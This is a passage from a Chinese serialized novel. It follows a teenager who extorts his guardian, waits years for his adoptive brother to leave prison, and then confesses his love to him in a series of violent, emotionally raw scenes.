“但是呢,我又想要你哥,我又想要好日子,”阿宁说,“我撺掇你哥跑,跟我跑。你哥没愿意,我白给他他都不要。骗我一句,我就白给了,他也不要。”
那会儿,应不尘并弄不懂白给的意思。
“行,我走了啊。”阿宁摸摸应不尘的头,应不尘不喜欢她摸,掸开了他的手,前面有人来接她了,她摘走了小吉他,前面等她的是一个精瘦的男人,长得像个猴,跟哥可差远了。
哥喜欢这样的女人?
应不尘弄不懂。
但是应该没喜欢,不然怎么白给都不要呢?
应不尘的小吉他丢了,他没觉得可惜。
前往宜华的车来了。
还有一个月他就要中考了。
他只有在这个半地下室,才能安心地看书。
他捡了一个没人要的半截模特,把他背回来,放在床上,给他穿周瞳的军大衣,就好像他在看着自己的读书。
开灯的时候,连影子都一样了。
路过的都说怪吓人的,半个身子。
李泥鳅的户口,只要成绩够,就可以上这里的高中。
一中二中这么排,有四个。
应不尘打算选那个离汽车站最近的。
汽车站附近前两年已经拆迁了,盖起了小楼,是那边最繁华地方。
中考的时候,应不尘坐在窗户下,听着知了疯叫,树影婆娑,卖粥的小摊久违地重现,一刹那,像是回到了1994年的夏。
中考完有一段时间的暑假,李泥鳅又来堵他了。
“你叫我养的猪还成,现在我找人养着呢,”李泥鳅说,“你这小子,真可是个宝贝。”
“那你养呗,你找我弄啥?”应不尘问。
“嘿你这小子,好赖我是你爹!”李泥鳅说。
“啊,咋的。”应不尘说,“我有事儿要出去,有屁快放。”
“我现在空着呢,我干点啥啊?”李泥鳅问,见应不尘不吱声,又点了几张钞票,大圆头。
“现在的人看电视不够了,我们同学都想打电子游戏,”应不尘说,“把你手上的东西全出了,不够就去借钱,开电脑房去。”
“我也不懂那玩意儿啊。”李泥鳅说。
“你就整两三个先,”应不尘说,“等你明白点了再开大的不行吗?死傻的。”
李泥鳅知道应不尘的脾气,也不恼,“我好赖这些年没少给你钱,你他妈的跟个白眼狼似的。”
不知道说哪句不对了,明明李泥鳅笑嘻嘻的,应不尘却忽然眼睛里又不对劲了,说,“我奶好赖也给你钱了,你他妈咋不是个白眼狼呢?”
“你小子要这么跟我说话,我找人在里面弄你哥你信不信?”李泥鳅说。
“嗙”的一拳,应不尘说,“我给你祠堂烧了,给你全家杀了,你信不信?草你吗的。”
“跟我俩犯浑是吧?”李泥鳅揪起应不尘的领子就要打,应不尘说,“你敢动我哥,我给你房子点了,你睡觉别闭眼睛,我草你吗。”应不尘猩红着眼睛说,“你往死里整我,咱两谁也别好过,我啥也没有,光脚不怕穿鞋。”
李泥鳅知道这小孩儿尿性,踹了他一脚,“滚。”
应不尘不回头。
一走,应不尘的眼睛就湿了,他想周瞳。
他撇了撇嘴,2000年的盛夏就要来了。
35. 2000[1]
应不尘叼着一根烟,跟人去修车。
他钱要的少,又懂文化,是个高中生了,跳级上来的那种。
应不尘不喜欢车,但是周瞳跟车杠上了,前悬浮总成,桥壳,变速器,离合器,发动机。
应不尘觉得挺好的,修着修着,听见压缩空气的声音,就好像看见了周瞳躺在板车上,一出溜就滑进去了,出来就喊腰疼,那会儿一滴机油流在他脸上,应不尘觉得那像是黑色的眼泪。
货车的种类多,栏板的,平台的,自卸的,棚式的,应不尘听的有味道。
师傅问,“你以后想学修车啊?”
应不尘说,“瞎学学。”
师傅说,“搞货车的苦啊。”
应不尘说,“嗯。”
师傅说,“咱都是被家里的妻儿老小拖着,只得干这个,你是干啥了。”
应不尘说,“我乐意闻柴油味儿。”
两人蹲在路边吃盒饭,天太热了,汗都滴进饭里了。
“我年轻时候跑车的时候,十天半月不回家,一到看见路牌子了,我就想我老婆做的捞面条,还有肉丝面。”师傅说,“到家能吃一口,可太美了。”
应不尘想了一下,说,“师傅,我不干了。”
应不尘来到了旺旺饭店,老板娘擦着手,说,“呀?小尘咋来了?”
“姨,我想学炒菜。”应不尘捏着包带说。
“你学什么炒菜,”老板出来了,说,“你读书成绩好,学这东西多累。”
“我给我哥做。”应不尘说,“我在这里不要钱。”
“哪能不给的,”老板娘说,“就是太苦了呀,你学着家里做,你就简单学几个就行呀。”
应不尘问,“哥都点啥菜?我就学那几个。”
“这我倒是说不太来,”老板说,“都是你哥请客吃饭,点的都是给人家吃的。”
“那啥,那啥不是小瞳喜欢吗?”老板娘说,“那年他们那个厂子摆席面的时候,我俩去炒菜,说要炒鸡杂,大师傅说这个菜是小瞳特意点的,特意嘱咐要的。”
应不尘低着头不说话,炒鸡杂,应不尘爱吃。
应不尘蹲在厨房里杀鱼,捡菜。
老板在抱孩子,他们三十来岁了,才有第一个孩子。
老板娘要给换尿布,小婴儿是他俩的心头肉。
“我要是有这样的哥,我也得成小尘那样,”老板娘当了妈,说话都柔了许多,“妹妹,我们去看小尘哥哥吧。”
老板上回看见了应不尘塞的钱,说,“他还给咱孩子包压岁钱了,去年。”
“一个小孩儿,哪能花他的钱。”老板娘说,“孩子长得可真快,那年我记得小瞳抱着他进那个贼窝的时候,还吃手呢。”
“等小瞳出来,小尘都该十八了吧。”老板说,“这哥俩估计一辈子绑在一块儿。”
“那有啥不好,也就小尘不是个女娃,”老板娘说,“是个女娃,给小瞳当老婆才好呢,死心塌地的,差点年纪算啥。”
“真要有个大我家妹妹十岁的来,你也愿意?”老板调笑,“你大笤帚不给他赶出去?”
“我可稀罕。”老板娘说。
老板本来想笑的,又说,“怕是他哥不愿意,小尘读书好,以后要高飞的话,他哥坐了牢子,带女朋友回去,女子家里头都要吓坏了,可不管你这些人好人赖的事情,这是家风。”
“你这个人!生了女儿了就处处自私,”老板娘白了他一眼,说,“小尘可不是白眼狼,那姑娘看不上他哥,小尘也看不上那姑娘!”
见老婆不高兴了,老板也不吱声了,要出去带应不尘学炒菜。
应不尘炒菜真也是没天赋,照着读书的脑子差了不是一点半点,磕磕巴巴的,也算能炒上一个菜了。
厨房里头闷热,夏天的知了叫得烦人。
应不尘蹲在旺旺饭店的门口,干巴瘦的小孩儿叫锅烫了好几次。
他等时间快些过去,树上的知了快点死完。
应不尘盘算了半天,觉得周瞳应该喜欢吃炒牛肉,就是这丝儿太难切,从前都是弄大块的,放锅里,煮吧煮吧就捞出来吃,没味道就蘸酱油。
想到风子叔说,周瞳的舌头叫应不尘毒坏了,吃东西没好赖就想笑。
如果说两个人生活在一起分开的话,留在对方身上的习惯就变成了不可分割的一部分,这一部分也被称为炝锅。炝锅了的菜,你的身上有我的味道,我的身上有你的味道。
但是应不尘觉得挂糊糊才是最有意思的,在东西的表面裹上薄薄的面粉糊,就像一个薄薄的保护罩,里面的东西就还是鲜的,好的,过了油也一样。
就是炒菜的时候太热了,汗会流进眼睛里。
老板娘给应不尘的肩膀上挂了一块毛巾,让他擦眼睛。
应不尘不要。他说,“我哥的眼睛不舒服。”
老板娘不知道这两者有什么关系,过了半晌,又呆呆地盯着应不尘的后脑勺。
入秋的时候应不尘就回去读高中了,没跟老板与老板娘告别,老板娘当妈了总是格外的感性,一整就要流眼泪,应不尘觉得应该叫小眼镜来看看,老板娘说话也不倒胃口了。
监狱与学校差不多。
应不尘觉得。
他住校了,每个礼拜还是去往宜华,车站的售票员换了一茬又一茬,这小子就像铁打的似的,连司机都认识他了。
李泥鳅捣鼓了几个电脑回来,弄了个青少年活动中心,来上网打游戏的孩子老多了。
李泥鳅觉得这事儿太有戏了,比养猪可挣钱多了,他掏空了钱,就开一个大活动中心。
李泥鳅就搁吧台上嗑瓜子,来往的人记台号,记时间,收三块钱一个小时,基本小混子都在这里出没,十来个电脑没歇的时候。
李泥鳅翘着脚看电视,想着要是自己个儿没了应不尘可咋整,他那小子天天惦记他那个劳改的哥,他哥有啥好的,自己也没少给应不尘钱,一个瘪犊子,忠得跟条狗似的。
这个月李泥鳅没给钱。
应不尘果然上门了,把包一摔,说,“咋没给钱?”
“被罚了。”李泥鳅说,“钱都投进去了,没钱给你,我缓缓。”
李泥鳅可不想给钱了,这小子迟早都是要走的。
“我给你三天。”应不尘说。
“我没钱。”李泥鳅说,“三十天都不好使。”
“行。”应不尘甩着包走了。
他能拿我咋滴?
举报我啊?你也不看看谁吃了我的米,这特么还是你教的呢,李泥鳅淬了一口痰。有检查早早的就通知他了。
高一开学了有家长会,孩子们都散了,只有家长在学校。
应不尘自然不会通知家长。
老师还在讲话,应不尘上去说,“老师,我有很大的事情,能让我说几句吗?”
应不尘站在台上,说,“我的父亲,李有仁今天没有来给我开家长会,他很忙,对我的学习也很关注,他开了一个青少年活动中心,就在我们学校不远的地方,我也喜爱电脑游戏,但是我的父亲不允许我玩,他十分重视我的学习成绩,但是我的父亲需要做生意支撑我读书,所以他的网吧里都是我们学校的同学。我们上了高中,学习压力非常大,我觉得有消遣无可厚非,但是过度娱乐就不好了。我劝阻了我的父亲,说别人的孩子也是心肝肉,不可让未成年人上网,但是我的父亲叫我滚。”
“同学们在我身边,虽然是给我家里挣钱,但是我的老师教育我,要磊落坦荡,我在这里得罪了我的同学,我的父亲,我希望老师重点严查,不要让网络游戏荼毒我们这些未来的栋梁。”
应不尘上台说完话就走了。
家长会没办法开了,家长都跑了,别的家长不明所以,也跟着去瞧。
反正那天的青少年活动中心鸡飞狗跳。
应不尘站在李泥鳅身后,说,“如果你不介意,我也不介意。”
李泥鳅恨恨道,“你吗死了你这个畜生。”
应不尘说,“说啥废话呢?你有钱吗?没有的话,我明天讲话的地方就是报社。报社不登的话,我下个月要参加全省数学竞赛,我会在我的试卷上写上你的干的事儿。”
李泥鳅把钱扔在地上,喝道,“滚。”
“我知道,你的钱都投这里了,你要是看我不爽,你就找人给我杀了,但是我只要知道我哥有啥差错,”应不尘蹲在地上捡钱,说,“你店铺后面的变电箱怕是不太好,我连人带店,全他妈给你烧了。反正我户口在你这儿,我们有领养协议,我惹祸,你还钱,跟我哥一样,进号子,明白吗?”
李泥鳅真的他妈的想给他杀了。
应不尘惹的事儿三两月才消停,老他妈有学生家长找不到孩子就闹到这里来,报警更是层出不穷。
连管这片的片警都问,“你得罪啥神仙啊?咋有这么大动静,所长说了,你能干干,不能干赶紧别整了。”
李泥鳅给的钱又按时到了。
应不尘都给攒起来。他又不在乎同学们都孤立他,打他更好,能打回去,进去了,还能看见铁窗跟制服。
一晃,2000就要结束了。
这次半地下室都回不去了,房东把那房子卖了,明年的新买家要放东西。
应不尘带着东西开始搬家,乱七八糟的东西很多,应不尘一点儿也舍不得扔,万一周瞳要用呢。虽然可能性太小了,因为周瞳那个德
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行,没了就买,买完就扔,攒一堆的垃圾,连东西啥时候买的他大部分都想不起来。
过年的时候,卡拉OK厅跟歌舞厅也重新整修,这条街又要变模样,这条路也是阔了又阔,应不尘记得周瞳说,金桥银路,搞这些东西大家都吃钱。
过年的时候,连他妈的黑牙都跑了。
应不尘又来监狱了,门口看守的人也认识他了。
他想给这外地扫地,去跟原先扫地的人说,不要钱,就在这里帮他扫地,吓得老太太以为他是间谍,要探国家机密。
“又来?”是监狱前面登记的工作人员,他换了便服要回去过年了。
“嗯,来看我哥。”应不尘说。
“你年纪还小吧?”他问,“我记得你身份证,你还没成年吧?”
“快了。”应不尘说,“马上就十六了。”
“你哥跟你有仇吗?”他问,“都三年了吧,你一个月都不晓得来几趟,你那个信压的回的,都不少了,我都记得你俩名字了。”
“没仇。”应不尘咧开一口牙,说,“我哥觉得他坐牢了,就不是好人了。不乐意我跟他亲近了。”
“正常,”那人说,“劳改过,出去心态啥的也会变。”
应不尘也没打听周瞳在里面好不好,反正就还是那句话。
“那过年好。”应不尘摆摆手,“我在这儿坐一会。”
高墙下少年坐在地上抽烟,觉得没事儿干,挨着墙根又睡着了。
监狱的人叫醒他,让他进去歇,等早上再叫他走。
应不尘坐在保卫室,他啥也不干,就干巴巴的坐着。
烟花又炸了。
真是讨厌,又吵又亮,怎么会有人喜欢放烟花。
应不尘贴在墙上,轻声说,你啥时候回来呀。
春节一过,就是正儿八经的2001年了,应不尘到了16岁的尾,汪爷爷选的日子太大,证件上都17了。
汪奶奶的墓地挪去了公墓,不用磕荆棘了。
旺旺饭店的女儿会咿咿呀呀了。
白房爷爷将钱给了应不尘之后也没多久就走了,他生前就选了墓碑了。
应不尘选了个日子拎着东西去看黄师傅,问来问去才问到。
听黄师傅娘娘腔当了个二椅子,就是男的搞成女的那种,然后跟男人在一起,惹人嫌弃的。
应不尘听到这里指甲都掐进膝盖了。
二椅子。
从来没听过的称呼。
也是在这一年,一部《蓝宇》上了大江南北的大荧幕。
应不尘坐在电影院里看了一遍又一遍。
影片的开头旁白,说,“那天早上你走了之后,我一直为你悬着心,总觉得你还在我身边,你知道吗?”
应不尘搓着自己的手,他通了人事了,有一个男人坐在应不尘的旁边,在黑暗里说,“注意你好几次了,总是看这个电影。”
这是独属于男人之间的隐秘的试探,应不尘轻笑了一下,说,“我在等人。”
“你每次都是一个人,等谁啊?”
“我男朋友。”
男人显然误会了,以为这是应不尘对他的邀请,胆子大了,一把就搂住了应不尘。
应不尘没动,问他,“你喜欢男人?”
那男人的手指都抓紧了,身上有点儿不好闻,好像有狐臭。
“不喜欢看男人的不看这片子。”男人说。
“我家里有这个全部的,好看的这电影院的删掉了。”男人说。
应不尘在黑暗的电影院里打人,他觉得他有一肚子的怒火无法发泄,他觉得他把人打死了,是不是就能关进去了呢,关进去的话,是不是就能见到周瞳了呢?见一面都行啊。
时间越长,他越是害怕,害怕周瞳改了习惯,改了眉眼,在里面太久了,就真的把他给忘了。
别人说,年长的人总是记性不好,他们回不到过去,只会急匆匆的往前走。
应不尘真的下了决心想要好好读书,想要周瞳出来的时候能看见他有出息的样子,可是时间太长了,他有时候连周瞳眼角的痣在左边还是右边都记不得了。
就算出息了,他不要,又有什么用?
应不尘感觉自己的口腔分泌出甜腥的味道,一拳一拳捶打对方胸腔的感觉很是过瘾,应不尘被惊叫的人撕扯开,那个骚扰他的男人也是臭名昭著,时常偷偷溜进来骚扰人,电影院都不知道报了多少次警了。
“能把我关进去吗?宜华第一监狱第三监区。”应不尘问。
派出所的人觉得他可能是疯了。
“是事情不够大吗?”应不尘呆滞问对面的警察,“我要是打你的话,能把我关进去吗?”
36. 正片开始
这次再来,应不尘听说了周瞳已经出狱的消息。
应不尘连去等的地方都没有了。
天南海北,周瞳会去哪里呢?
应不尘不知道。
应不尘也不去学校,他就守在宜华的火车站。
2001年的十月,周瞳获刑期的第三年七个月,宜华的火车站熙熙攘攘,应不尘就站在火车站的检票口,保安已经注意他很多次了,他在这里的时间太长了,任是记性再不好也能记得。
他睡觉就躺在铁皮椅子上,吃饭就是干巴巴的嚼着饼干。
他不知道周瞳会不会来,或许他早就坐着大巴车走了。
应不尘觉得好像更方便了,以前到了宜华,他就得坐两趟的公交车去监狱,绕着面粉厂。
现在都用不上了,到了宜华就能等了。
汪爷爷迁坟了,周瞳找着了,应不尘看见了新烧的纸钱。
半地下室也不见了,周瞳没地方去,啥也没有了。
旺旺那块儿,应不尘觉得他不会去。
他两手空空,什么都没有,他会去哪里?
应不尘打电话回家问婶婶,周家那个可回来了?
婶婶说没有。
天塌了一次又一次。
火灾,牢狱,失踪。
世界太大了,他会去哪里?
一个月了,毫无音讯,应不尘坐在长椅上,叹了口气,轻声说,“对不起了哥哥。”
应不尘来到警察局。
“我要报警。”
“我担心服刑人员会继续犯案,他身上没钱,刚出狱。”
“这是我的亲属探视证明,这是他在监狱的资料。”
“这是监狱探视室的电话,我叫应不尘,您可以确定我的身份。”
“我现在十分担心他刚出狱就要危害社会,请你们重视。”
...
周瞳见到了阔别已久的应不尘,他只是找了个小宾馆好好睡觉。
就被应不尘叫的警察喊开了门,做了一系列的登记。
警察走了。
两个人面面相觑。
“呵,呵呵。”周瞳干巴巴的笑,脸上却未见任何喜色,甚至有点嘲弄与不耐烦,“啥意思啊应不尘?”
“我要找你,找不到,我没办法。”应不尘拉了个凳子坐在周瞳面前。
“我要你找了吗?”周瞳点了烟,本就不大的房间里有味儿,呛得人嗓子干。
“没要。”应不尘坐在他对面的凳子上。
“那你找啥啊?”周瞳斜着看他问,“我甩不了你了是吧?”
“嗯。”
“你几岁了来着?”周瞳挠挠头问。
“17。”应不尘抬起头来,“马上成年。”
“了不起。”周瞳口气里都是嘲讽,说,“我17的时候没你能耐。这都能给我抓了。”
“我在等你。”应不尘的眼睛一直追着他。
“我要你等啊?”周瞳拉开了一点儿窗帘,外面的光刺眼。
“你在里面好吗?”应不尘小声地问。
“就那样呗。”周瞳眯着眼睛,屋里面烟雾缭绕的。“现在不是读书的日子吗?你没读书了?”
“读。我旷课了。”应不尘说。
“嗯,随你。”周瞳似是对他再也没耐心,“你主意正,我管不了。”
“你管得了。”应不尘没底气。
“我真的想不明白,你有个有钱的爹,自己读书也不错,你干啥就赖我身上呢?你也要成年了吧?还有几个月你就成年了吧?”
“俩月。”应不尘说,“我就没爹了。”
“咋了,你给他算着日子死呢?你阎王点卯呢?”周瞳说。
“哥。”应不尘扑了上去,说,“哥。”
周瞳垂着眼眸,他理着寸头,眼睛倒是还长那样,就是会眨巴眨巴的,抽烟就眯着,好像不舒服。
“干啥啊?”周瞳推开他,问,“你当你7岁呢?”
“你能别走吗?”应不尘仰头看他,似是要哭了。
“咋的,你有皇位要我继承啊?”
“没有。”
“那就好好读书,我听说你爹对你挺好,把你当亲儿子养,好好过日子。”周瞳说。
“你能别走吗?”应不尘闷闷的说,“你要是再走了,我这辈子都在汽车站等你。”
“这样吧,你回去呢好好读书,我呢,找个班上。然后你有功夫你就过来看看我,行不?”周瞳问。
“不要。”应不尘说,“我要你跟我走。”
“你不懂,我这个呢叫什么,缓刑期间,不能动弹,号子还要问话回访呢,走不了,你看,你读书不能耽误吧。我这个也不能耽误吧?号子出来有那啥,帮助班,知道不?”周瞳翘着二郎腿,看着天花板。
“真的?”应不尘急急地去看他。
“真的啊,你回去读书去,然后有功夫就给我打电话,这成吧?”周瞳对他笑了一下,说,“我骗你有糖吃啊?”
应不尘扭扭捏捏的起来,说,“你饿吗?”
“买饭去呗那就。”周瞳往床上一躺,说,“我困死了。”
“那你好好睡一觉,我一会儿就回来。”应不尘说。
应不尘下楼,心里高兴,选了好几个菜,提上楼的时候发现——
周瞳走了。
前台说他前后脚就走了。
***
再报警的话,就不着调了。
应不尘两兜的饭菜都掉在了地上,菜汤溅了一地,脏兮兮的。
刚刚应不尘去买菜了,找个饭店说给一样的钱,他自己炒。
然后回来的时候,周瞳就不见了。
应不尘心里不是滋味,他不知道周瞳出狱这件事是好是坏,曾经他还有地方等,知道他在哪里,应不尘的心里就是满的。现在他走了,连去了哪里都不知道。
那有怎么样呢?
应不尘回了学校,一周一次的往返本以为上次是最后一次,没想到还是继续,这次像无期徒刑。
应不尘来到旺旺,老板娘跟老板都一样待他,他知道,周瞳出来的事情他们不知道。
应不尘每个周末就待在宜华的汽车站,他跟周瞳说了,他这辈子都在汽车站等他。他们的开始就是在汽车上,无所谓。应不尘等了他十年,从他洗头,装卸,开车,开厂,还债,喝酒,坐牢,逃跑,十年而已。
应不尘当天在抓了周瞳之后就悄悄在他兜里塞钱了,他已经不是当年几句话能骗的小孩儿了,就是当时带的钱不够多。
在2001年的最后一天。
应不尘在厕所里抽烟,怕燎了别人的衣服,贴在墙角。
应不尘看见了周瞳,他背着一个黑色的包,低着头正要过检票处!
应不尘扔了烟,穿过人流就往检票处跑去,那后脑勺就算砸成八瓣应不尘也认识。
应不尘追着周瞳跑,他已经过了安检,就要往前去。
应不尘被保安拦在后面,他不允许再有人拦住他去找周瞳,他奋力地推开保安,引得越来越多的人看来看,应不尘在后面疯发疯的喊,“哥!”没有人理他,周瞳没有为他停下过脚步,他只是肩膀顿了顿
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,又往前走去,人流还在继续前挤后拥,遮在应不尘的眼前,直到他再也看不见。
保安把他按在地上,电棍在他身上噼里啪啦的响,应不尘的手再也使不上力气,他缓缓地跪了下去,比上次坐在法院盯着周瞳的后脑勺还绝望。
在他的膝盖快要砸在地面的时候,他看见了一双手扶他进怀里,那人说,“实在不好意思,小孩儿,闹脾气,对不住对不住。”
这次,是他自己回来的。
但是他回来了也不高兴。
周瞳很少笑了,抽烟抽的频繁,他看见应不尘只是懒懒地抬一下眼皮。
应不尘说,“瞳哥,你给我的钱,我没花,都给你。”
“随便。”周瞳冷冷的,跟从前不一样。
应不尘蹲在周瞳的边上,想去抓他的手,又忍住了,说,“瞳哥,你没吃饭呢,我去给你买吧。”
“不饿。”周瞳盖上被子睡觉了。
这是一间30元一晚的小旅馆,关了灯,有漏水的滴答声。
“你为什么不见我?”应不尘去扯他的被子。
“有什么好见的,”周瞳翻过身去,“睡觉。”
“我问你为什么不见我!”应不尘低声的怒吼。
“见什么呀?”周瞳起来,又点了烟,“激恼啥?”
“我就是想知道...”应不尘的声音带了浓重的鼻音。
“闭嘴吧。”周瞳刚点上的烟就要打算掐了,“你摊上我这个玩意,还能有个好?”
“我不管。”应不尘一下子扑倒周瞳的身上,“你不行不要我。”
“你都成年了大哥,”周瞳显然有点不习惯之前半拉小子现在个子蹿了,除了眉眼像之外,真是太难辨认了。“扑啥?”
应不尘抱着周瞳沉沉地喘气,接着就是死死的抱着。
周瞳盘腿坐着,烟还点着,抽也抽不到。
“滚下去。”周瞳说。
被骂了,舒服了。应不尘慢吞吞的下来,坐在周瞳的面前。
四年不见,这次应不尘才能好好地打量他,上次的时间太短了,房间里太黑了,周瞳瘦了不少,下颌角有点利了,眉宇处也有点成熟男人的影子了,跟应不尘印象里的有一点细微的差别,总体不大。
“你小子也抽烟了?”周瞳说,“你那个爹不管你啊?”
“我没爹。”应不尘说,“我跟他有什么关系。”
周瞳要伸手去衣服兜里拿火机,应不尘屁颠的去掏。
掏出来一张纸条,上面写着:雨荷路美人丽妆。
应不尘知道,那是个鸡窝,白天拉着卷帘门,晚上才做生意,灯还是粉色的。
“你要找小姐?”应不尘颤抖着手问。
“出来都得去那,”周瞳说,“狱友写的。”
“你去了?”应不尘的声线还在发抖。
“你管起我来了?”周瞳懒洋洋的问。
“我怎么就不能管你?”应不尘的牙都开始疼。
“我找个小姐,咋了?”周瞳说,“好歹你也快二十了,咋了,你没想头啊?”
“我没有!”应不尘喊道。
“癫的。”周瞳说,“你不去不去呗,激恼啥?”
“我不让你去。”应不尘将纸条撕的粉碎。
“撕呗,谁有你厉害。”周瞳将手搁在脑后,“还咋的?你还想咋的?”
“你生气了,就因为我不让你去找小姐?”应不尘在黑暗里询问。
“那我找谁?”周瞳问。
“我不行吗?”应不尘的嗓子都干了,他的脸也在黑暗里红了。
37. 我就想你
“你要死啊!”周瞳猛然起来,“我他妈的,我养了六年,我养了个什么畜生!”周瞳光着脚就抓着应不尘的头发,把他抓去卫生间用水全淋在他脸上,“你喝酒了吧,还是你脑子不正常?你知不知道你在说什么东西啊?”
周瞳的后背都紧了,这小子,跟自己都快差辈了,在外面都学了些什么坏东西?周瞳连着李泥鳅的全家八辈都骂了个遍,最后摇着应不尘的脑壳,一巴掌接着一巴掌,“你他妈的,你畜生啊?”
应不尘挨打了,想说的话也说了,像个酒蒙子,摇摇晃晃地,高兴了,咧着嘴笑,挑衅地看着周瞳,说,“对啊,我就是个畜生。我就想你。”
周瞳不知道怎么弄,脱了自己硬的跟棒槌一样的鞋底,噼里啪啦的就打在应不尘的身上,脸上,眼睛都被打肿了,他还是那个死样子。
周瞳打累了,蹲在边上喘气,花洒的水还在流,应不尘坐在地上,说,“打完了?”
“你嫌没打够?”周瞳恶狠狠的问。
“我就想你。”应不尘梗着脖子,抹着自己的鼻血,抬起头来,一字一顿地说,“我,就,想,你。”
周瞳被气得不轻,连夜就要拿起衣服走。
他一走,应不尘就跟在他身后,他干啥应不尘也干啥。
三月还是有点冷,应不尘连外套都没有穿,就光着胳膊,光着脚,站在离他十米远的地方。
周瞳走,应不尘也走。
周瞳跑,应不尘也跑。
“你他妈到底要干什么?”周瞳问。
“跟你好。”应不尘说。
“我好你妈了个逼。”周瞳说,“畜生。”
“畜生也跟你好。”应不尘说。
“你咋这么不要脸?”周瞳问。
“不要脸也跟你好。”应不尘说。
“你给我死去。”周瞳说。
“我不死,我就跟你好。”应不尘说。
“那我死去。”周瞳说。
“你死了,我马上就死。做鬼也跟你好。”应不尘说。
“我...!”周瞳刚要说话,后面一辆马力拉满的摩托在夜间飞驰而过。
周瞳被应不尘拉进怀里,他低声说,“你就当没养过我,咱俩今天第一天认识,行吗?”
“我行你妈了个逼。”周瞳暴怒着,“你想都别想!”
“我做不到。”应不尘说,“我每天都想你。”
“我真是,我真是捡回来个畜生,畜生放火,我还债,畜生读书,我挣钱,我为了你这个畜生,去坐了四年牢,把你干的好事还了债,老子一共活了三十年,小半辈子都折腾到你手上了,”周瞳说,“你这个畜生,你不好好读书不好好谈恋爱结婚生孩子,你这个畜生你想我?”
应不尘抓住了周瞳的手,猛然一拉,说,“对。你说的都对,我长大了,我来还债。”
“你还你妈,”周瞳说,“你这是还债?你他妈来讨债!”
“那就讨债,”应不尘无所谓地说,“随你怎么说。”
应不尘拽着周瞳回去,他浑身都冷的发抖,头发还浇湿了,眼睛也肿着半只,“既然话也说到这个份上了,周瞳,我就大方明白的告诉你,我早他妈想你了,我想你想得不行,想好几年了,怎么了?”
“你不见我是吧,你不见我,我就等你,我啥也不干,我就等你,”应不尘的手指掐住周瞳的胳膊,“养了个畜生是吧,我就是你养的畜生,我这辈子跟你都没完。”
“我去你吗的,”周瞳说,“你知道你在说什么吗?”
“我知道,”应不尘说,“我想跟你谈恋爱,我想跟你过日子,我要跟你好,我早决定完了。”
“你决定你妈,”周瞳说,“放手!”
“别你吗我妈的,”应不尘说,“我现在不是小孩儿了,你少吓唬人,也少说脏话了,好好说话。”
“你疯了。”周瞳不可置信地说。“你还敢叫我大名。”
“怎么了,”应不尘问,“我为什么不能叫你大名?”
“你真的疯了。”周瞳说。
应不尘还在发抖,他太冷了,鼻尖儿都是红的。
北风还在横行过市,路上的人都盯着他们瞧。
应不尘梗着个脑袋,不死不休。
周瞳说,“丢人现眼的东西,先滚回去。”
应不尘被骂了,又舒坦了。
应不尘笑嘻嘻的,接着周瞳的包回去小旅馆。
周瞳连洗脸都格外的注意身后,怕这个癫子又发什么神经。
所幸他就是安静的站在外面,不知道在捣鼓什么。
小旅馆的环境并不好,三月的梅雨没过,墙上都是苔藓,连墙上的画报都沾不牢靠,小孩儿被揍得鼻青脸肿。
就一张床。
周瞳说,“开个房?”
应不尘说,“我没钱。”
周瞳说,“你不是要还我钱吗?”
应不尘说,“没带。”
周瞳说,“你出门就带这点钱就来了啊?”
应不尘说,“刚冲进马桶了。”
“我草...”周瞳刚想骂他,应不尘扑通一声就跪下了。
“脑子清楚了?”周瞳问,擦了一把冷汗,这个疯子,总算知道自己不对了。
“清楚了。”应不尘说。
“清楚了就行,”周瞳死沉沉地躺在床上,“不然我还不如撞死在牢里得了。”
“我跪完了,恩情就还完了。”应不尘抬起头来说,“我跟你就没有任何其他关系了。”
周瞳的手心骤然缩了一下,说,“你啥意思?”
“我没有哥,你不是我哥,”应不尘说,“钱,恩,我都还,还完了你能把我当个男人吗?”
***
周瞳想踹死他。
一脚过去就被抓住了。
周瞳说,“你干啥?”
应不尘歪着脑袋说,“你再踹我我就舔你脚。”
“你!”周瞳挣回去自己的脚,说,“你到底想干啥?”
“我想读书,你陪我读书。”应不尘说。
“然后呢,我啥也不干,我陪你读书,”周瞳说,“你读书跟我有什么关系啊,你快二十了啊应不尘,我以前管着你读书,我现在还得管你读书,你书是为了我读的啊?”
“我跟你说,我是个睁眼瞎,还是个劳改犯,”周瞳说,“我跟你说,要是摊上我这样的,你这辈子人家都瞧不起你。”
2002年,周瞳这样的就是过街老鼠。
“我用他们瞧得起我?他们跟我有什么关系,他们给我吃米了?”应不尘的背绷得铁直,“我会读书,也能跳级,我马上就可以找到工作。”
“所以啊,你有你的好日子要过,你跟我较什么劲儿?”周瞳说,“你十八,我特么二十八,将将差十年,你自己听听,你他妈自己打开你的猪耳朵听听,这他妈是正常人能办的事儿吗?大哥,你能不懂事,我跟着你不懂事呗?”
“我快三十岁的人,我跟着你瞎胡闹啊?”周瞳提高了音量说,“我跟你一样大的时候,你特么还尿裤子呢。”
“哦,那怎么了?”应不尘站起来,图钉都有好几枚插进了他的膝盖里,然后扑通又跪下了。
刚刚这逼在捣鼓墙上的图钉!他就这样直挺挺的跪下了!
看得周瞳都忍不住要呲牙,“你赶紧先起来。”
“我要跪完。”
周瞳猛地给他了他一脚,“我使唤不动你是吧?”
“我要跪完。”死犟驴又上劲儿了。
周瞳的眼皮都跳动了一下,一巴掌甩过去,“我是不是欠你的?我他妈是不是欠你的?”
应不尘不说话,被打了之后的脸火辣辣的。
舒服。
时间一分一秒的过,外面偶有车过,转弯的地方会打喇叭,有点吵。
从小到大,第一回打他是他下河游泳,第二回打他是他不要读书,那两回都没使上什么劲儿,这次真是被气疯了,跪在地上的应不尘眼睛都种了一大圈,流着鼻血,被打了之后他淬了一口血。
安静的,沉默的,滴答滴答的小房间里,应不尘趴在周瞳的腿上,轻声说,“你真的回来了吗,像做梦。”
应不尘最后还是被拉起来了,他的膝盖里扎进了七八个图钉,周瞳的心再也硬不了了,脸也绷不住了,他摘一枚就往上敷毛巾,呲牙咧嘴的,说,“我不管你出什么幺蛾子,你说的事儿,不行。别的我都依你,这事儿板上钉钉的不行。”
“板上的钉子,你不是已经在拔了吗?”应不尘抱着膝盖问。
二人挨得极近,周瞳不解地问,“我一个老东西,你图啥呢?”
“图你。”应不尘眼睛亮晶晶的,说,“图你对我好。”
“知道我对你好,”周瞳都拔了一枚,都歪了,钉子在里面,只能用指甲夹出来,这里也没什么工具。“还要这么恩将仇报?”
“我没。”应不尘低着头,半晌,说,“我是不是真的有病?”
应不尘抬起头来,红着眼睛问周瞳,“我就是想你。”
“你就是对现实啊,这个受不得打击,也怪我,那时候你那么小,”周瞳要拔那枚没盖的钉子,说,“忍一忍啊,怕疼就咬着我。”
